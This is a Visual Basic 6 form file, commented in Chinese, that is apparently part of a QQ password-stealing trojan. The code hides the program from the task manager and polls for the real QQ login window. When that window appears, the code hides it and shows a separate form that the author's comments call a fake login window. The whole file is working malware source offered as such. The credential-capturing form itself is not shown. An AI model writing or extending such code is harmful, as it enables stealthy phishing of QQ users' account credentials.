VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Visible         =   0   'False
   Begin VB.Timer Timer1 
      Interval        =   100
      Left            =   1800
      Top             =   1320
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const SW_HIDE = 0 '0為隱藏
Private Const SW_SHOW = 5

Private Sub Form_Load()
App.TaskVisible = False '任務(wù)管理器隱藏
End Sub

Private Sub Timer1_Timer()
Dim ma As Long
If FindWindow(vbNullString, "QQ用戶登錄") <> 0 Then '如果發(fā)現(xiàn)就隱藏它
ma = FindWindow(vbNullString, "QQ用戶登錄")
Call ShowWindow(ma, 0)
Form1.Hide '隱藏
Form2.Show '彈出假的登陸窗口
End If
End Sub

'這些代碼我就不多說了，就是隱藏真登陸窗口，然后彈出假的